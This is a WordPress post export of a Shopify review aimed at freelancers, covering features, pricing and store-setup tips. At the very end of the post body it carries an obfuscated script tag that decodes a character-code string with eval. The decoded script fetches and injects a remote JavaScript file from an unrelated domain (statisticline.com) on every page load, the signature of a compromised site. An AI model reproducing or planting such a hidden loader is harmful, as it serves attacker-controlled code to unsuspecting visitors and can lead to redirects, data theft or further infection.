{"id":6262,"date":"2023-06-09T10:55:52","date_gmt":"2023-06-09T10:55:52","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/shopify-review-why-you-should-be-using-shopify-as-a-freelancer\/"},"modified":"2023-06-09T10:55:52","modified_gmt":"2023-06-09T10:55:52","slug":"shopify-review-why-you-should-be-using-shopify-as-a-freelancer","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/shopify-review-why-you-should-be-using-shopify-as-a-freelancer\/","title":{"rendered":"Shopify Review: Why you should be using Shopify as a freelancer"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/shopify-review-why-you-should-be-using-shopify-as-a-freelancer\/#What_is_Shopify\" title=\"What is Shopify?\">What is Shopify?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/shopify-review-why-you-should-be-using-shopify-as-a-freelancer\/#Why_do_freelancers_like_Shopify\" title=\"Why do freelancers like Shopify?\">Why do freelancers like Shopify?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/shopify-review-why-you-should-be-using-shopify-as-a-freelancer\/#How_to_setup_your_first_Shopify_store\" title=\"How to setup your first Shopify store\">How to setup your first Shopify store<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/shopify-review-why-you-should-be-using-shopify-as-a-freelancer\/#How_Shopify_helps_your_freelance_business_stay_competitive\" title=\"How Shopify helps your freelance business stay competitive\">How Shopify helps your freelance business stay competitive<\/a><\/li><\/ul><\/nav><\/div>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/02\/shopify-laptop-at-small-meeting_925x.jpg&quot; alt=&quot;Shopify Review 2019&quot; width=&quot;925&quot; height=&quot;617&quot; class=&quot;size-full wp-image-4341&quot; \/>\n<p dir=&quot;ltr&quot; id=&quot;m_-4307298882184769181docs-internal-guid-7df931ef-7fff-1b30-c03e-4d2635c9b0ee&quot;><span>The advent of the internet and<\/span><span> <\/span><span>e-commerce has revolutionized the global market space<\/span><span>. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Every day we hear of success stories, from small businesses making a fortune to consummate e-commerce giants benefitting from their online stores. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Apart from selling physical products, a web store can be used to sell digital products, appointments, consultations, intangibles and much more, making it ideal for all kind of businesses.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Among all e-commerce solution providers,<\/span><a href=\"\/\/www.shopify.com\/?ref=freetrain&quot;\" target=\"&quot;_blank&quot;\" data-saferedirecturl=\"&quot;https:\/\/www.google.com\/url?q=https:\/\/en.wikipedia.org\/wiki\/Shopify&amp;source=gmail&amp;ust=1549853395304000&amp;usg=AFQjCNGzVPdRGhk_sYP0qHdLe5l4M24S_g&quot;\" rel=\"&quot;noopener noopener\"><span> <\/span><span>Shopify<\/span><\/a><span> has ranked high over the years as the most preferred marketing platform for both novices and experienced business freelancers. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Shopify is a powerful e-commerce platform that businesses can use to build and run a custom web store.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>In this Shopify review, we discuss some of the reasons you should be using Shopify and also offer some helpful tips for setting up a web store for your online business.<\/span><\/p>\n<h2 dir=&quot;ltr&quot;><span class=\"ez-toc-section\" id=\"What_is_Shopify\"><\/span><strong>What is Shopify?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span class=&quot;qlink_container&quot;><span><a href=\"\/\/www.shopify.com\/?ref=freetrain&quot;\" target=\"&quot;_blank&quot;\" data-saferedirecturl=\"&quot;https:\/\/www.google.com\/url?q=https:\/\/en.wikipedia.org\/wiki\/Shopify&amp;source=gmail&amp;ust=1549853395304000&amp;usg=AFQjCNGzVPdRGhk_sYP0qHdLe5l4M24S_g&quot;\" rel=\"&quot;noopener noopener\">Shopify<\/a>\u00a0<\/span><\/span>is \u201call in one\u201d ecommerce platform which allows you to build an online store with a great user experience.<\/p>\n<p><span>With Shopify, you can:<\/span><\/p>\n<ul>\n<li><span>Create and customize an online store.<\/span><\/li>\n<li><span>Sell in multiple places, including web, mobile, social media, online marketplaces, brick-and-mortar locations, and pop-up shops.<\/span><\/li>\n<li><span>Manage products, inventory, payments, and shipping.<\/span><\/li>\n<\/ul>\n<p class=&quot;ui_qtext_para&quot;>To build your online store using Shopify, you can get a<span>\u00a0<\/span><b>14 days free trial with Shopify<\/b>, with no credit cards required.<\/p>\n<p class=&quot;ui_qtext_para&quot;>Since Shopify is based on a subscription business model, the monthly price after the trial period starts<span>\u00a0<\/span><i>from $29 .<\/i><\/p>\n<p class=&quot;ui_qtext_para&quot;>For enterprise business, you can consider using the<span>\u00a0<\/span><span class=&quot;qlink_container&quot;><a href=\"\/\/www.shopify.com\/plus?ref=freetrain&quot;\" rel=\"&quot;noopener noopener\" nofollow target=\"&quot;_blank&quot;\" onclick=\"&quot;return\" class=\"&quot;external_link&quot;\" data-qt-tooltip=\"&quot;shopify.com&quot;\" data-tooltip=\"&quot;attached&quot;\">Shopify Plus package<\/a><\/span>.<\/p>\n<p><iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https:\/\/www.youtube.com\/embed\/5WjyI9pU5MQ&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;allowfullscreen&quot;><\/iframe><\/p>\n<h2 dir=&quot;ltr&quot;><span class=\"ez-toc-section\" id=\"Why_do_freelancers_like_Shopify\"><\/span><strong>Why do freelancers like Shopify?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Elegant Design<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>Shopify\u2019s template system offers some of the most elegant designs you will ever see in online shops. It is also extensible enough to accommodate your needs. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>You can be sure to find a theme that represents your business values while offering customers the best feel of your store.<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Ease of Use<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>Shopify is a breeze to work with and t<\/span><span>he platform is user-friendly for users that are less tech savvy. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>It has a simple set-up process that does not require too much technical knowledge to get your online. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Its backend (administrator) dashboard interface is also extremely easy to operate.<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Streamlined Workflow<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>Shopify provides all that functionalities that an online store requires. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Handling transactions, tracking orders, and managing inventory among other business processes are easy to complete through this popular platform.<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Fully Customizable<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>Shopify can be fully customized on both the front- and back-end. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>You can easily plug in applications and themes to modify the look and overall function of your store.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Additionally, the wide choice of templates and applications gives every store a distinct look.<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Technical Assistance is Provided<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>This features comes in handy particularly for freelancers that have little knowledge of design and development.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Shopify has a team of experts that can help you build your store, secure it, and offer long-term technical support.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>This team takes care of hardware security, data back-up, SSL certificates and other technical issues so that you can focus on more important aspects of running your business.<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Affordable<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>Shopify is affordable which is one of the key reasons many freelancers find it appealing. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>The platform offers<\/span><span> <\/span><span>three different plans<\/span><span> to choose from \u2013 Basic, Shopify, and Advanced, all which are tailored to accommodate the e-commerce needs of your business regardless of its size. \u00a0<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Secure and Reliable<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>It\u2019s easy to integrate Shopify with your current website and enhance the functionality of your online store without worrying about virus and Trojan attacks. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Shopify developers monitor their network consistently to ensure you are always safe.<\/span><\/p>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/02\/w1b2lpqobxa-1024x683.jpg&quot; alt=&quot;Shopify's beautifully designed templates will help you stay competitive&quot; width=&quot;750&quot; height=&quot;500&quot; class=&quot;size-large wp-image-4343&quot; \/>\n<h2 dir=&quot;ltr&quot;><span class=\"ez-toc-section\" id=\"How_to_setup_your_first_Shopify_store\"><\/span><strong>How to setup your first Shopify store<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p dir=&quot;ltr&quot;><span>Shopify is undoubtedly one of the most popular and superior site-building platforms for businesses looking to enter the e-commerce world. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>However, there are a few crucial elements to keep in mind when creating your store; some of these determine the functionality and overall performance of your store in the e-commerce market.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>From acquiring a Shopify domain to choosing efficient shipping methods, here are some actionable steps on how to set up your Shopify web store.<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Acquiring a Shopify domain and email hosting<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>The first step to establishing your brand on Shopify is buying a domain. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>However, if you have an existing domain from a third party provider, you can use it for your e-commerce store by transferring or connecting it to Shopify.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>After acquiring a Shopify domain, you can proceed to configure a hosting service for your Shopify store.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Unfortunately, this e-commerce software does not provide its own email hosting service which means you\u2019ll need to acquire services of a third-party company for the service.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>This dedicated<\/span><a href=\"\/\/shopped.email\/&quot;\" target=\"&quot;_blank&quot;\" data-saferedirecturl=\"&quot;https:\/\/www.google.com\/url?q=https:\/\/shopped.email\/&amp;source=gmail&amp;ust=1549853395305000&amp;usg=AFQjCNF_SeyXiZ9gYI7bqYZk60Uk-oGBaQ&quot;\" rel=\"&quot;noopener noopener\"><span> <\/span><span>Shopify email hosting<\/span><\/a><span> provider is a great place to start especially if you need a service that offers you unlimited email addresses for your custom domain.<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Choosing a Shopify theme<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>As mentioned earlier, Shopify offers a wide range of templates (themes) to choose from; you\u2019ll never have to worry about finding an amazing theme for your store regardless of your market specialization.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Be sure to browse through the hundreds of templates with a keen eye on the demos to find one that reflects the value of products on your Shopify store.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Remember, the key to<\/span><span> <\/span><span>choosing an appropriate theme<\/span><span> that suits your online store is looking past the aesthetics; you also need to consider other crucial factors like its load speed and whether it supports all the key functionalities you\u2019re looking for in a store.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Although Shopify templates are categorized by markets, the best approach to choosing one is testing out as many demos across these markets as possible to find one with the right functionalities and key usability features.<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Creating Shopify Collections, Tags and Filters<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>After customizing a Shopify template to your needs, it\u2019s time to start thinking about the products you will be importing into your web store. <\/span><\/p>\n<p dir=&quot;ltr&quot;><span>The first step here is to iron out your collections tagging options, filtering choices, and product types.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>This makes uploading the products easier and consistent.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Shopify collections (categories) are a very powerful tool in your web store when created carefully.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>A collection provides two options for adding your products &#8211; manual importation for a small inventory and automatic which works best for a large inventory.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>To add products to your collection automatically, you\u2019ll need to set some conditions.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Conditions are simple case sensitive statements that may take the form: \u201cProduct Type X is equal to Accessories Y\u201d.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>This way, any product of type X added to the store automatically falls into a category of accessories named Y.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Conditions are not limited to product type; they can also be based on price, vendor, inventory, tags, color, size, and so on.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>These are incredibly important when creating filter options for products on your collections.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Planning your Shopify collections, tags and filtering options in a spreadsheet will make the process much easier. Remember that consistency is the key when creating collections and adding products to your store.<\/span><\/p>\n<ul>\n<li dir=&quot;ltr&quot;>\n<p dir=&quot;ltr&quot;><span>Shopify Shipping Options and Strategies<\/span><\/p>\n<\/li>\n<\/ul>\n<p dir=&quot;ltr&quot;><span>One final tip \u2013 it\u2019s important to determine your<\/span><span> <\/span><span>shipping strategies<\/span><span> early enough or else it will be a roadblock to launching your Shopify store.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Unless you are dealing with pure digital services that do not require shipping, you need to start figuring out the shipping methods to use the moment you start building your store.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Reach out to various shipping agents, discover their rates, and choose one or several that best suit your customers\u2019 needs and locations.<\/span><\/p>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/02\/_kf2z44k7ng-1024x680.jpg&quot; alt=&quot;Shopify is affordable which is why many freelancers find it appealing&quot; width=&quot;750&quot; height=&quot;498&quot; class=&quot;size-large wp-image-4342&quot; \/>\n<h2 dir=&quot;ltr&quot;><span class=\"ez-toc-section\" id=\"How_Shopify_helps_your_freelance_business_stay_competitive\"><\/span><strong>How Shopify helps your freelance business stay competitive<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p dir=&quot;ltr&quot;><span>E-commerce has brought a lot of transformation in the modern business world.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>From global trade and vast catalogues to secure online payments and instant communication with clients, businesses can leverage the internet for unlimited growth.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>Millions of people continue to shop online and this has contributed significantly in the growth of the e-commerce market.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>If you\u2019re a freelancer looking to edge out your competition and exploit new opportunities, you certainly need to learn and implement e-commerce as soon as possible.<\/span><\/p>\n<p dir=&quot;ltr&quot;><span>This is one of the most effective ways of modernizing your business while also keeping up with the changing market demands &#8211; and Shopify is the platform to help you stay competitive.<\/span><\/p>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The advent of the internet and e-commerce has revolutionized the global market space. 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